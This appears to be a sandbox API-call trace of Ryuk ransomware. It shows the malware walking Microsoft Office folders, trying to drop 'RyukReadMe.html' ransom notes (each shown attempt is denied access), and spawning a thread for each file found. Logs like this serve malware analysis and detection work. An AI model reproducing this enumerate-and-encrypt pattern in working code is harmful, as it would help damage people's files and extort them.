	[0276.382] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x62, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1
	[0276.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c64
	[0276.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.384] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x62, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0
	[0276.384] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0276.384] SetLastError (dwErrCode=0x0) 
	[0276.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.385] GetLastError () returned 0x5
	[0276.385] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0276.385] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.385] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1
	[0276.385] SetLastError (dwErrCode=0x0) 
	[0276.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.385] GetLastError () returned 0x5
	[0276.385] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0276.386] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0276.386] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.386] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1
	[0276.386] SetLastError (dwErrCode=0x0) 
	[0276.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.386] GetLastError () returned 0x5
	[0276.387] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0276.387] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0276.390] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.391] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0276.391] SetLastError (dwErrCode=0x0) 
	[0276.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.392] GetLastError () returned 0x5
	[0276.392] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0276.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0276.393] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.393] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x80, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1
	[0276.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ca0
	[0276.396] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.396] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x80, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0
	[0276.397] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0276.397] SetLastError (dwErrCode=0x0) 
	[0276.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.397] GetLastError () returned 0x5
	[0276.397] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0276.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.397] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1
	[0276.397] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x6e, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1
	[0276.397] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c5c
	[0276.399] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.400] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1
	[0276.400] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c58
	[0276.401] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.402] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1
	[0276.402] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ca8
	[0276.403] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.404] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1
	[0276.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cb4
	[0276.406] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.406] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1
	[0276.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ca4
	[0276.408] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.408] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1
	[0276.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cb8
	[0276.678] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.679] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1
	[0276.679] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cbc
	[0276.681] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.681] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1
	[0276.681] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc0
	[0276.683] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.684] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1
	[0276.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc4
	[0276.686] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.686] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1
	[0276.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc8
	[0276.688] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.689] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1
	[0276.689] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ccc
	[0276.691] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.692] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1
	[0276.692] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cd0
	[0276.693] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.694] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1
	[0276.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cd4
	[0276.695] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.696] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1
	[0276.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cd8
	[0276.697] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
